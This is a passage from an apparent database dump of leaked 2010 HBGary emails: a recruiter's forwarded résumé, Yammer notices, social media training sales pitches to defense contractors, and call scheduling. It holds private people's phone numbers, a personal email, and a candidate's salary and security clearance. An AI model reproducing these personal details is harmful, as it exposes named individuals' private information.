a computer based firearms training systems manufacturer for military and law enforcement agencies.  \r\n\r\n\r\n\r\nAdministration duties included backup administration, general user administration, PBX administration and database administration and maintenance.  Also repaired and built desktop systems for end users.  Also monitored web systems for misuse and anomalies.\r\n\r\n\r\n\r\n1995 - 1996IT SpecialistMFP/King Computer, Norcross GAResponsible for assessment and remediation of off-lease IBM PCs.  Remediation included loading and configuring systems to customer specifications.  \r\n\r\n\r\n\r\nImplemented network based loading system to improve productivity over using legacy floppy based loading.  \r\n\r\n\r\n\r\n~~~~~~~~~~~~~~~~~~~~~~Ed Wallach \r\n\r\n\r\n\r\nPresident &amp; CEO\r\n\r\n\r\n\r\nEd Wallach Search Group \r\n\r\n\r\n\r\n301-365-3291 office  \r\n\r\n\r\n\r\n301-613-0629 mobile\r\n\r\n\r\n\r\n301-365-3292 fax ed@wallachsearch.com\r\n\r\n\r\n\r\nwww.wallachsearch.com\r\n\r\n\r\n\r\nRecruiting Intelligence \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&lt;app_full_proxy.php.gif&gt;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n~~~~~~~~~~~~~~~~~~~~~~Ed Wallach \r\n\r\n\r\n\r\nPresident &amp; CEO\r\n\r\n\r\n\r\nEd Wallach Search Group \r\n\r\n\r\n\r\n301-365-3291 office  \r\n\r\n\r\n\r\n301-613-0629 mobile\r\n\r\n\r\n\r\n301-365-3292 fax ed@wallachsearch.com\r\n\r\n\r\n\r\nwww.wallachsearch.com\r\n\r\n\r\n\r\nRecruiting Intelligence \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&lt;image.png&gt;\r\n\r\n\r\n-- Phil Wallisch | Principal Consultant | HBGary, Inc.3604 Fair Oaks Blvd, Suite 250 | Sacramento, CA 95864Cell Phone: 703-655-1208 | Office Phone: 916-459-4727 x 115 | Fax: 916-481-1460\r\n\r\n\r\nWebsite: http://www.hbgary.com | Email: phil@hbgary.com | Blog:  https://www.hbgary.com/community/phils-blog/\r\n\r\n\r\n\r\n\r\n-- Phil Wallisch | Principal Consultant | HBGary, Inc.3604 Fair Oaks Blvd, Suite 250 | Sacramento, CA 95864Cell Phone: 703-655-1208 | Office Phone: 916-459-4727 x 115 | Fax: 916-481-1460\r\nWebsite: http://www.hbgary.com | Email: phil@hbgary.com | Blog:  https://www.hbgary.com/community/phils-blog/\r\n\r\n',9450,'aaron_hbgary_com/9450.html'),(11263,'2010-09-03','\"Jessica Halper\" <contactsales@yammer-inc.com>','/aaron@hbgary.com/new/1297008579.M462188P14101Q6118.eml','aaron@hbgary.com','Become the admin of your Yammer network','\r\n\r\n  \r\n    \r\n   \r\n     \r\n       \r\n         \r\n         \r\n           \r\n           \r\n             Dear Aaron,\r\n             \r\n             You recently signed up for Yammer and expressed interest in becoming the admin of the hbgary.com network. Our administrative features are designed to give you enhanced security, customization and control over your Yammer network, and include:\r\n             \r\n             \r\n               Own and export your Yammer network data\r\n               Control user accounts and content\r\n               Customize the branding of your Yammer network\r\n               Enhance security with IP restrictions and password policies\r\n               Receive priority support &#038; service\r\n             \r\n           \r\n           \r\n         \r\n         \r\n           \r\n           Become an admin &raquo;\r\n           \r\n         \r\n         \r\n           \r\n           To speak with someone about upgrading your network, simply reply to this email or call 888-926-7377\r\n           \r\n         \r\n         \r\n           \r\n           \r\n             Thank you for using Yammer,\r\n             Jessica Halper\r\n             Community Manager\r\n           \r\n           \r\n        \r\n        \r\n         \r\n           \r\n         \r\n         \r\n           \r\n           2010 Yammer Inc.\r\n         \r\n       \r\n     \r\n   \r\n   \r\n\r\n\r\n\r\n\r\n    \r\n      \r\n        \r\n            \r\n\r\n  \r\n  \r\n    To choose which messages you wish to receive by email, please activate your account.\r\n  \r\n  \r\n    If you no longer wish to receive Yammer emails, please unsubscribe here.\r\n  \r\n  To unsubscribe from all Yammer emails, click here.\r\n        \r\n      \r\n    \r\n\r\n\r\n',15090,'aaron_hbgary_com/15090.html'),(11264,'2010-09-03','\"Yammer\" <yammer@yammer.com>','/aaron@hbgary.com/new/1297008579.M672573P14101Q6119.eml','aaron@hbgary.com','Welcome to the hbgary.com network on Yammer','\r\n\r\n  \r\n    \r\n      \r\n        \r\n          \r\n            \r\n          \r\n        \r\n        \r\n          \r\n            \r\n\r\nHi Aaron Barr,\r\n\r\n\r\n    Thanks for creating the hbgary.com network on Yammer!\r\n    Since you\'re the network founder, the most important thing is to invite people to join.\r\n    While you\'re waiting for others to join, you can also edit your profile.\r\n  \r\n\r\nWelcome to Yammer!\r\n- The Yammer Team\r\n\r\n          \r\n        \r\n      \r\n      \r\n        \r\n          \r\n                      \r\n        \r\n      \r\n    \r\n  \r\n\r\n  \r\n',15513,'aaron_hbgary_com/15513.html'),(11265,'2010-09-03','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008580.M254024P14101Q6121.eml','\"Peace, Cheryl D\" <cdpeace@nsa.gov>','Re: Number','Hi Cheryl,\r\n\r\nWondering if there is still an opportunity to get together to discuss some of our capabilities in the social media and threat intelligence space?\r\n\r\nAaron\r\n\r\n\r\nOn Aug 1, 2010, at 12:10 PM, Peace, Cheryl D wrote:\r\n\r\n> Thanks aaron.  Will pull it up?\r\n> --------------------------\r\n> Sent using BlackBerry\r\n> \r\n> \r\n> ----- Original Message -----\r\n> From: Aaron Barr \r\n> To: Peace, Cheryl D\r\n> Sent: Sat Jul 31 17:59:55 2010\r\n> Subject: Re: Number\r\n> \r\n> Cheryl,\r\n> \r\n> Article was released last night on krebsonsecurity.com.  Light on data.  As I hear more I will forward on if your interested.  As i mentioned we have done some of our own analysis.  I am surprised there is not more discussion about the safety mechanisms, communications, and development path that was left in the code.\r\n> \r\n> Aaron\r\n> \r\n> Sent from my iPhone\r\n> \r\n> On Jul 31, 2010, at 2:02 AM, \"Peace, Cheryl D\"  wrote:\r\n> \r\n>> R u going to get an advance copy?  When will it be published and can I get a copy?   If not, when can u get and send me a copy?\r\n>> Thanks for the heads up!\r\n>> --------------------------\r\n>> Sent using BlackBerry\r\n>> \r\n>> \r\n>> ----- Original Message -----\r\n>> From: Aaron Barr \r\n>> To: Peace, Cheryl D\r\n>> Sent: Sat Jul 31 01:07:23 2010\r\n>> Subject: Re: Number\r\n>> \r\n>> Sorry missed this.  I got wind that Krebs on security is going to publish a story.\r\n>> \r\n>> Aaron\r\n>> \r\n>> Sent from my iPhone\r\n>> \r\n>> On Jul 30, 2010, at 7:41 PM, \"Peace, Cheryl D\"  wrote:\r\n>> \r\n>>> I am at Rao at the bar if you want to come by for a few. Meeting friends for a cocktail in a few\r\n>>> --------------------------\r\n>>> Sent using BlackBerry\r\n>>> \r\n>>> \r\n>>> ----- Original Message -----\r\n>>> From: Aaron Barr \r\n>>> To: Peace, Cheryl D\r\n>>> Sent: Fri Jul 30 20:02:44 2010\r\n>>> Subject: Number\r\n>>> \r\n>>> Cheryl,\r\n>>> \r\n>>> Sorry to bother you but do you have a minute to talk.  I don\'t have\r\n>>> your number handy.  It will only take moment, but I have some\r\n>>> information for you.\r\n>>> \r\n>>> Aaron Barr\r\n>>> CEO\r\n>>> HBGary Federal\r\n>>> 7195108478\r\n>>> \r\n>>> -- \r\n>>> Aaron Barr\r\n>>> CEO\r\n>>> HBGary Federal Inc.\r\n>>> 719.510.8478\r\n\r\n',15771,'aaron_hbgary_com/15771.html'),(11266,'2010-09-03','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008580.M9605P14101Q6120.eml','\"Phil Wallisch\" <phil@hbgary.com>','Re: WILLIS C. MCDONALD II','10am would be great. &nbsp;What # should I call you at and I will conference you in.AaronOn Sep 3, 2010, at 8:55 AM, Phil Wallisch wrote:I could do 09:30 or 10:00.On Fri, Sep 3, 2010 at 4:32 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nNo worries. &nbsp;What time can you do ?Sent from my iPadOn Sep 2, 2010, at 6:38 PM, Phil Wallisch &lt;phil@hbgary.com&gt; wrote:\r\n\r\nHi Aaron.&nbsp; Sorry I didn\'t have time today.&nbsp; If we keep it to a similar window I can talk tomorrow morning.\r\nOn Thu, Sep 2, 2010 at 12:13 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\n\r\nDo u have 16 minutes today?\r\n\r\n\r\nAaronSent from my iPhoneBegin forwarded message:From: Ed Wallach &lt;ed@wallachsearch.com&gt;\r\n\r\n\r\n\r\nDate: September 2, 2010 11:58:16 AM EDTTo: Aaron Barr &lt;aaron@hbgary.com&gt;\r\n\r\nCc: Alan Ehrlich &lt;alan@wallachsearch.com&gt;\r\n\r\nSubject: Re: WILLIS C. MCDONALD IIHi Aaron,Willis would love to speak with your guys today!\r\nHe said he\'s home all day today.\r\n\r\n\r\nHis contact info is:Home- (678) 425-9890Cell - (770) 235-5471willismcdonald2@gmail.com\r\n\r\n\r\n\r\nThanks-EdOn Sep 1, 2010, at 3:47 PM, Aaron Barr wrote:\r\n\r\nThis guy looks interesting. &nbsp;So I would like to vet his skill set, get one of our Forensic guys on the phone with him. &nbsp;Does that work?AaronOn Sep 1, 2010, at 1:16 PM, Ed Wallach wrote:\r\n\r\n\r\n\r\nHi Aaron,here\'s a new recruit-lives in GA...will relo up here in 2 seconds...has an FSP!!\r\nCANDIDATE\'S NAME: &nbsp;WILLIS C. MCDONALD IICURRENTLY LIVES IN: &nbsp;GA			WILL RELOCATEGEOGRAPHIC PREFERENCES: &nbsp;DC/MD/VA&nbsp;		He is open to hear about outstanding opportunities elsewhere.\r\n\r\n\r\n\r\nLOOKING FOR WORK BECAUSE: &nbsp;The contract he is working on is over in 2 WEEKS.&nbsp;CURRENT SALARY: &nbsp;$78,000 &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;CLEARANCES: &nbsp;TS/SCI with a FULLSCOPE POLY (8-2008)EDUCATION AND TRAINING:2006 - 2008 B.S. Information Technology\r\n\r\n\r\n\r\nSouthern Polytechnic State University, Marietta GA2002 - 2005 Electrical and Computer EngineeringUniversity of New Orleans, New Orleans LA2010 FOR558 Network ForensicsSANSfire &nbsp;Baltimore MD\r\n\r\n\r\n\r\nSUMMARY OF QUALIFICATIONS:Over 14 years experience including information security, network administration and live forensic analysis of information systems. &nbsp;Willis has a strong understanding of various commercial security products and systems including&nbsp;applications, capabilities, and limitations. &nbsp;He also have extensive professional experience in network planning, implementation and operations.&nbsp;\r\n\r\n\r\n\r\nPROFESSIONAL EXPERIENCE:2008 - PresentGlobal Network Exploitation and Vulnerability AnalystNational Security Agency, Fort Gordon GAResponsibilities included: &nbsp;Performing interactive operations, live forensic analysis of remote computer systems and networks, and situational health and security posture analysis of the endpoint environment. &nbsp;\r\n\r\n\r\n\r\nSecurity posture analysis included identifying vulnerabilities and security products on systems along with malware identification and analysis for possible capabilities and interference with proprietary tools. &nbsp;Attended a six month rigorous training course in forensics, software development, reverse engineering and information security.&nbsp;\r\n\r\n\r\n\r\n2006 - 2008 &nbsp;Network AdministratorThe Community Bank, Loganville GADuties included but were not limited to:Responsible for ensuring overall health and security of bank information systems. &nbsp;\r\n\r\n\r\n\r\nAuditing IDS and firewall systems, ground up planning and implementation of branch systems, user administration, backup administration, database administration and development of web based front ends for existing&nbsp;applications and a ground up re-work of the existing web site to include a CMS for ease of future maintenance. &nbsp;\r\n\r\n\r\n\r\nAlso, implemented Nagios event monitoring for all servers and security devices.2006 - 2006&nbsp;Senior TechnicianPifusion Development Group, Tucker GAPerformed repairs and sales of computer hardware, software and network equipment both in-house and on-site. &nbsp;\r\n\r\n\r\n\r\nRepair duties included: general hardware/software troubleshooting and replacement and virus and malware remediation. &nbsp;Implemented and designed network systems for new and existing locations. &nbsp;Also assessed off-lease equipment for recycling and valuation for sale.\r\n\r\n\r\n\r\n2002 - 2006 &nbsp;Supervisor TraineeMcDonald Enterprises, Slidell LAAdministered and maintained environmental remediation systems for three hazardous waste remediation sites. &nbsp;Duties included SCADA and PLC systems administration, company information systems administration and general maintenance and repair of industrial wastewater treatment systems.\r\n\r\n\r\n\r\n1998 - 2002&nbsp;Assistant AdministratorFirearms Training Systems, Suwanee GAAdministered a mixed environment network for a computer based firearms training systems manufacturer for military and law enforcement agencies. &nbsp;\r\n\r\n\r\n\r\nAdministration duties included backup administration, general user administration, PBX administration and database administration and maintenance. &nbsp;Also repaired and built desktop systems for end users. &nbsp;Also monitored web systems for misuse and anomalies.\r\n\r\n\r\n\r\n1995 - 1996IT SpecialistMFP/King Computer, Norcross GAResponsible for assessment and remediation of off-lease IBM PCs. &nbsp;Remediation included loading and configuring systems to customer specifications. &nbsp;\r\n\r\n\r\n\r\nImplemented network based loading system to improve productivity over using legacy floppy based loading. &nbsp;\r\n\r\n\r\n\r\n~~~~~~~~~~~~~~~~~~~~~~Ed Wallach&nbsp;\r\n\r\n\r\n\r\nPresident &amp; CEO\r\n\r\n\r\n\r\nEd Wallach Search Group \r\n\r\n\r\n\r\n301-365-3291 office&nbsp;&nbsp;\r\n\r\n\r\n\r\n301-613-0629 mobile\r\n\r\n\r\n\r\n301-365-3292 fax&nbsp;ed@wallachsearch.com\r\n\r\n\r\n\r\nwww.wallachsearch.com\r\n\r\n\r\n\r\nRecruiting Intelligence \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&lt;app_full_proxy.php.gif&gt;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n~~~~~~~~~~~~~~~~~~~~~~Ed Wallach&nbsp;\r\n\r\n\r\n\r\nPresident &amp; CEO\r\n\r\n\r\n\r\nEd Wallach Search Group \r\n\r\n\r\n\r\n301-365-3291 office&nbsp;&nbsp;\r\n\r\n\r\n\r\n301-613-0629 mobile\r\n\r\n\r\n\r\n301-365-3292 fax&nbsp;ed@wallachsearch.com\r\n\r\n\r\n\r\nwww.wallachsearch.com\r\n\r\n\r\n\r\nRecruiting Intelligence \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&lt;image.png&gt;\r\n\r\n\r\n-- Phil Wallisch | Principal Consultant | HBGary, Inc.3604 Fair Oaks Blvd, Suite 250 | Sacramento, CA 95864Cell Phone: 703-655-1208 | Office Phone: 916-459-4727 x 115 | Fax: 916-481-1460\r\n\r\n\r\nWebsite: http://www.hbgary.com | Email: phil@hbgary.com | Blog:&nbsp; https://www.hbgary.com/community/phils-blog/\r\n\r\n\r\n\r\n\r\n-- Phil Wallisch | Principal Consultant | HBGary, Inc.3604 Fair Oaks Blvd, Suite 250 | Sacramento, CA 95864Cell Phone: 703-655-1208 | Office Phone: 916-459-4727 x 115 | Fax: 916-481-1460\r\nWebsite: http://www.hbgary.com | Email: phil@hbgary.com | Blog:&nbsp; https://www.hbgary.com/community/phils-blog/\r\n\r\n',7327,'aaron_hbgary_com/7327.html'),(11267,'2010-09-03','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008581.M335050P14101Q6122.eml','\"Rundle, David J\" <David.J.Rundle2@boeing.com>','Re: Introduction - Boeing and HBGary Federal','Dave,\r\n\r\nThought I would pass this information to you to see if there is some interest.  We have developed a social media training class and some added capability for information exposure monitoring.\r\n\r\nAaron\r\n\r\n----------------------\r\n\r\nThe rise of the social web has created an entirely new set of useful technologies and security vulnerabilities.  It is our experience that most individuals and organizations understand there are risks to using social media but don\'t understand the full extent, from what types of use, what the real risks are, or how the vulnerabilities can be fully exploited, and how to effectively protect themselves.\r\n\r\nHBGary Federal has extensive experience in social media technologies, how to use these tools effectively, what the risks are to information exposure and exploitation, and how to more effectively protect yourself and your organization.  We feel this is an area that needs more attention and understanding quickly as the commercial social media platforms provide to much easy opportunities for threats.\r\n\r\nAttached is our training brochure for our online and in-class social media training programs, 1/2 and full day.  We also offer a tailored training program that is preceded by a social media penetration test.  The information gathered during the pen test is provided in a before and after information exposure report as well as the information is used to tailor the training program to make it as relevant as possible to the organization.\r\n\r\nVisit our training web page to review and sign up for one of our online training classes or send an email to schedule in-class room training.  You can also follow us on twitter to receive regular updates  or become a fan of our Facebook page.\r\n\r\nWeb: training.hbgaryfederal.com\r\nTwitter: HBGaryFed\r\nFacebook: HBGary Federal\r\nEmail: training@hbgaryfederal.com\r\n\r\n\r\n\r\n\r\nOn Aug 3, 2010, at 12:25 PM, Rundle, David J wrote:\r\n\r\n> Thanks for getting in contact.  Bob is coming on-site today to give us a WebEx with Greg Hoglund.  (His BH appearance was a highlight for my peers, and makes me regret not attending all the more...)\r\n>  \r\n> Given the nature of our customers and our efforts to date, I wanted to see if you had a more DoD/IC relevant set of information that you can discuss with us.   I think the best course of action is to see how well received today\'s presentation is with management, and then set a follow-up that\'s a little more detailed.\r\n>  \r\n> Thanks,\r\n> David J. Rundle, CISSP® \r\n> IS Security Engineer \r\n> Cyber & Information Solutions \r\n> Boeing Defense, Space & Security\r\n> The Boeing Company \r\n> 131 National Business Pkwy \r\n> Ste 100  MC7358-0000 \r\n> Annapolis Junction, MD 20701-1001\r\n> \r\n> Telephone: 301-497-2841 \r\n> Cellular: 443-534-7655 \r\n> Fax: 301-497-2801 \r\n> david.j.rundle2@boeing.com\r\n> \r\n> \r\n> \r\n> \r\n> \r\n> From: Aaron barr [mailto:aaron@hbgary.com] \r\n> Sent: Tuesday, August 03, 2010 12:13 PM\r\n> To: Bob Slapnik\r\n> Cc: Rundle, David J\r\n> Subject: Re: Introduction - Boeing and HBGary Federal\r\n> \r\n> Catching up after Blackhat.\r\n> \r\n> Dave would you like to schedule a time to get together?\r\n> \r\n> Aaron\r\n> \r\n> Sent from my iPad\r\n> \r\n> On Jul 29, 2010, at 4:40 PM, Bob Slapnik  wrote:\r\n> \r\n>> David and Aaron,\r\n>> \r\n>> \r\n>> Looks like the two of you will have mutual interests…..\r\n>> \r\n>> \r\n>> Aaron Barr / 719-510-8478 / aaron@hbgary.com\r\n>> \r\n>> David Rundle / 301-497-2841 / M 443-534-7655 / david.j.rundle2@boeing.com\r\n>> \r\n>> \r\n>> Bob Slapnik  |  Vice President  |  HBGary, Inc.\r\n>> \r\n>> Office 301-652-8885 x104  | Mobile 240-481-1419\r\n>> \r\n>> www.hbgary.com  |  bob@hbgary.com\r\n>> \r\n>> \r\n>> \r\n>> \r\n\r\n',13202,'aaron_hbgary_com/13202.html'),(11268,'2010-09-03','\"Phil Wallisch\" <phil@hbgary.com>','/aaron@hbgary.com/new/1297008581.M964806P14101Q6123.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: WILLIS C. MCDONALD II','Let&#39;s do my x115 HB number.On Fri, Sep 3, 2010 at 8:59 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n10am would be great.  What # should I call you at and I will conference you in.Aaron\r\nOn Sep 3, 2010, at 8:55 AM, Phil Wallisch wrote:I could do 09:30 or 10:00.On Fri, Sep 3, 2010 at 4:32 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\nNo worries.  What time can you do ?Sent from my iPadOn Sep 2, 2010, at 6:38 PM, Phil Wallisch &lt;phil@hbgary.com&gt; wrote:\r\n\r\n\r\nHi Aaron.  Sorry I didn&#39;t have time today.  If we keep it to a similar window I can talk tomorrow morning.\r\nOn Thu, Sep 2, 2010 at 12:13 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\nDo u have 16 minutes today?\r\n\r\n\r\n\r\nAaronSent from my iPhoneBegin forwarded message:From: Ed Wallach &lt;ed@wallachsearch.com&gt;\r\n\r\n\r\n\r\n\r\nDate: September 2, 2010 11:58:16 AM EDTTo: Aaron Barr &lt;aaron@hbgary.com&gt;\r\n\r\n\r\nCc: Alan Ehrlich &lt;alan@wallachsearch.com&gt;\r\n\r\nSubject: Re: WILLIS C. MCDONALD IIHi Aaron,Willis would love to speak with your guys today!\r\n\r\nHe said he&#39;s home all day today.\r\n\r\n\r\nHis contact info is:Home- (678) 425-9890Cell - (770) 235-5471willismcdonald2@gmail.com\r\n\r\n\r\n\r\n\r\nThanks-EdOn Sep 1, 2010, at 3:47 PM, Aaron Barr wrote:\r\n\r\n\r\nThis guy looks interesting.  So I would like to vet his skill set, get one of our Forensic guys on the phone with him.  Does that work?AaronOn Sep 1, 2010, at 1:16 PM, Ed Wallach wrote:\r\n\r\n\r\n\r\n\r\nHi Aaron,here&#39;s a new recruit-lives in GA...will relo up here in 2 seconds...has an FSP!!\r\nCANDIDATE&#39;S NAME:  WILLIS C. MCDONALD IICURRENTLY LIVES IN:  GA			WILL RELOCATEGEOGRAPHIC PREFERENCES:  DC/MD/VA 		He is open to hear about outstanding opportunities elsewhere.\r\n\r\n\r\n\r\n\r\nLOOKING FOR WORK BECAUSE:  The contract he is working on is over in 2 WEEKS. CURRENT SALARY:  $78,000         CLEARANCES:  TS/SCI with a FULLSCOPE POLY (8-2008)EDUCATION AND TRAINING:2006 - 2008 B.S. Information Technology\r\n\r\n\r\n\r\n\r\nSouthern Polytechnic State University, Marietta GA2002 - 2005 Electrical and Computer EngineeringUniversity of New Orleans, New Orleans LA2010 FOR558 Network ForensicsSANSfire  Baltimore MD\r\n\r\n\r\n\r\n\r\nSUMMARY OF QUALIFICATIONS:Over 14 years experience including information security, network administration and live forensic analysis of information systems.  Willis has a strong understanding of various commercial security products and systems including applications, capabilities, and limitations.  He also have extensive professional experience in network planning, implementation and operations. \r\n\r\n\r\n\r\n\r\nPROFESSIONAL EXPERIENCE:2008 - PresentGlobal Network Exploitation and Vulnerability AnalystNational Security Agency, Fort Gordon GAResponsibilities included:  Performing interactive operations, live forensic analysis of remote computer systems and networks, and situational health and security posture analysis of the endpoint environment.  \r\n\r\n\r\n\r\n\r\nSecurity posture analysis included identifying vulnerabilities and security products on systems along with malware identification and analysis for possible capabilities and interference with proprietary tools.  Attended a six month rigorous training course in forensics, software development, reverse engineering and information security. \r\n\r\n\r\n\r\n\r\n2006 - 2008  Network AdministratorThe Community Bank, Loganville GADuties included but were not limited to:Responsible for ensuring overall health and security of bank information systems.  \r\n\r\n\r\n\r\n\r\nAuditing IDS and firewall systems, ground up planning and implementation of branch systems, user administration, backup administration, database administration and development of web based front ends for existing applications and a ground up re-work of the existing web site to include a CMS for ease of future maintenance.  \r\n\r\n\r\n\r\n\r\nAlso, implemented Nagios event monitoring for all servers and security devices.2006 - 2006 Senior TechnicianPifusion Development Group, Tucker GAPerformed repairs and sales of computer hardware, software and network equipment both in-house and on-site.  \r\n\r\n\r\n\r\n\r\nRepair duties included: general hardware/software troubleshooting and replacement and virus and malware remediation.  Implemented and designed network systems for new and existing locations.  Also assessed off-lease equipment for recycling and valuation for sale.\r\n\r\n\r\n\r\n\r\n2002 - 2006  Supervisor TraineeMcDonald Enterprises, Slidell LAAdministered and maintained environmental remediation systems for three hazardous waste remediation sites.  Duties included SCADA and PLC systems administration, company information systems administration and general maintenance and repair of industrial wastewater treatment systems.\r\n\r\n\r\n\r\n\r\n1998 - 2002 Assistant AdministratorFirearms Training Systems, Suwanee GAAdministered a mixed environment network for a computer based firearms training systems manufacturer for military and law enforcement agencies.  \r\n\r\n\r\n\r\n\r\nAdministration duties included backup administration, general user administration, PBX administration and database administration and maintenance.  Also repaired and built desktop systems for end users.  Also monitored web systems for misuse and anomalies.\r\n\r\n\r\n\r\n\r\n1995 - 1996IT SpecialistMFP/King Computer, Norcross GAResponsible for assessment and remediation of off-lease IBM PCs.  Remediation included loading and configuring systems to customer specifications.  \r\n\r\n\r\n\r\n\r\nImplemented network based loading system to improve productivity over using legacy floppy based loading.  \r\n\r\n\r\n\r\n\r\n~~~~~~~~~~~~~~~~~~~~~~Ed Wallach \r\n\r\n\r\n\r\n\r\nPresident &amp; CEO\r\n\r\n\r\n\r\n\r\nEd Wallach Search Group \r\n\r\n\r\n\r\n\r\n301-365-3291 office  \r\n\r\n\r\n\r\n\r\n301-613-0629 mobile\r\n\r\n\r\n\r\n\r\n301-365-3292 fax ed@wallachsearch.com\r\n\r\n\r\n\r\n\r\nwww.wallachsearch.com\r\n\r\n\r\n\r\n\r\nRecruiting Intelligence \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&lt;app_full_proxy.php.gif&gt;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n~~~~~~~~~~~~~~~~~~~~~~Ed Wallach \r\n\r\n\r\n\r\n\r\nPresident &amp; CEO\r\n\r\n\r\n\r\n\r\nEd Wallach Search Group \r\n\r\n\r\n\r\n\r\n301-365-3291 office  \r\n\r\n\r\n\r\n\r\n301-613-0629 mobile\r\n\r\n\r\n\r\n\r\n301-365-3292 fax ed@wallachsearch.com\r\n\r\n\r\n\r\n\r\nwww.wallachsearch.com\r\n\r\n\r\n\r\n\r\nRecruiting Intelligence \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&lt;image.png&gt;\r\n\r\n\r\n-- Phil Wallisch | Principal Consultant | HBGary, Inc.3604 Fair Oaks Blvd, Suite 250 | Sacramento, CA 95864Cell Phone: 703-655-1208 | Office Phone: 916-459-4727 x 115 | Fax: 916-481-1460\r\n\r\n\r\n\r\nWebsite: http://www.hbgary.com | Email: phil@hbgary.com | Blog:  https://www.hbgary.com/community/phils-blog/\r\n\r\n\r\n\r\n\r\n\r\n-- Phil Wallisch | Principal Consultant | HBGary, Inc.3604 Fair Oaks Blvd, Suite 250 | Sacramento, CA 95864Cell Phone: 703-655-1208 | Office Phone: 916-459-4727 x 115 | Fax: 916-481-1460\r\n\r\nWebsite: http://www.hbgary.com | Email: phil@hbgary.com | Blog:  https://www.hbgary.com/community/phils-blog/\r\n\r\n\r\n-- Phil Wallisch | Principal Consultant | HBGary, Inc.3604 Fair Oaks Blvd, Suite 250 | Sacramento, CA 95864Cell Phone: 703-655-1208 | Office Phone: 916-459-4727 x 115 | Fax: 916-481-1460\r\nWebsite: http://www.hbgary.com | Email: phil@hbgary.com | Blog:  https://www.hbgary.com/community/phils-blog/\r\n\r\n',14893,'aaron_hbgary_com/14893.html'),(11269,'2010-09-03','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008582.M879015P14101Q6124.eml','\"Lefebvre, Michael (IS)\" <Michael.Lefebvre@ngc.com>','Re: Cyber Social Media Training','Hi Mike,\r\n\r\nI sent the below text out to a some folks, including Gib, the other day and thought I would make you aware of it.  Let me know if I can answer any questions.\r\n\r\nAaron\r\n\r\n---------------\r\n\r\nThe rise of the social web has created an entirely new set of useful technologies and security vulnerabilities.  It is our experience that most individuals and organizations understand there are risks to using social media but don\'t understand the full extent, from what types of use, what the real risks are, or how the vulnerabilities can be fully exploited, and how to effectively protect themselves.\r\n\r\nHBGary Federal has extensive experience in social media technologies, how to use these tools effectively, what the risks are to information exposure and exploitation, and how to more effectively protect yourself and your organization.  We feel this is an area that needs more attention and understanding quickly as the commercial social media platforms provide to much easy opportunities for threats.\r\n\r\nAttached is our training brochure for our online and in-class social media training programs, 1/2 and full day.  We also offer a tailored training program that is preceded by a social media penetration test.  The information gathered during the pen test is provided in a before and after information exposure report as well as the information is used to tailor the training program to make it as relevant as possible to the organization.\r\n\r\nVisit our training web page to review and sign up for one of our online training classes or send an email to schedule in-class room training.  You can also follow us on twitter to receive regular updates  or become a fan of our Facebook page.\r\n\r\nWeb: training.hbgaryfederal.com\r\nTwitter: HBGaryFed\r\nFacebook: HBGary Federal\r\nEmail: training@hbgaryfederal.com\r\n\r\n\r\n\r\nOn Aug 3, 2010, at 3:53 PM, Lefebvre, Michael (IS) wrote:\r\n\r\n> Aaron,\r\n>  \r\n> Glad to be introduced to you.  I look forward to further discussing this domain.\r\n>  \r\n> Mike\r\n>  \r\n>  \r\n> Michael Lefebvre\r\n> Northrop Grumman\r\n> 2340 Dulles Corner Blvd\r\n> Herndon, VA 20171\r\n> c. 571.318.7326\r\n>  \r\n>  \r\n> From: Godwin, Gib (IS) \r\n> Sent: Tuesday, August 03, 2010 3:36 PM\r\n> To: Lefebvre, Michael (IS); \'Barr, Aaron\'\r\n> Subject: Cyber Social Media Training\r\n>  \r\n> Just realized after I talked to you both about this, I forgot to connect you. Mike Aaron has got some exciting training we need to pay attention to especially off of our lunch conversation about mobile networking. WE need to think thru how to discuss integrating this into our plans as well.\r\n> Gib\r\n>  \r\n> JB Godwin III\r\n> Northrop Grumman, Information Systems\r\n> Defense Systems Division\r\n> Vice President, Cybersecurity and Systems Integration\r\n> 2340 Dulles Corner Blvd\r\n> Herndon, VA 20171\r\n>  \r\n> (o) 703.561.4610\r\n> (m)703.201.2543\r\n> james.godwin@ngc.com\r\n>  \r\n\r\n',11888,'aaron_hbgary_com/11888.html'),(11270,'2010-09-03','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008583.M481640P14101Q6125.eml','\"Phil Wallisch\" <phil@hbgary.com>','Re: WILLIS C. MCDONALD II','Can u conference?Sent from my iPhoneOn Sep 3, 2010, at 9:34 AM, Phil Wallisch &lt;phil@hbgary.com&gt; wrote:\r\nLet&#39;s do my x115 HB number.On Fri, Sep 3, 2010 at 8:59 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\n10am would be great.  What # should I call you at and I will conference you in.Aaron\r\n\r\nOn Sep 3, 2010, at 8:55 AM, Phil Wallisch wrote:I could do 09:30 or 10:00.On Fri, Sep 3, 2010 at 4:32 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\n\r\nNo worries.  What time can you do ?Sent from my iPadOn Sep 2, 2010, at 6:38 PM, Phil Wallisch &lt;phil@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\nHi Aaron.  Sorry I didn&#39;t have 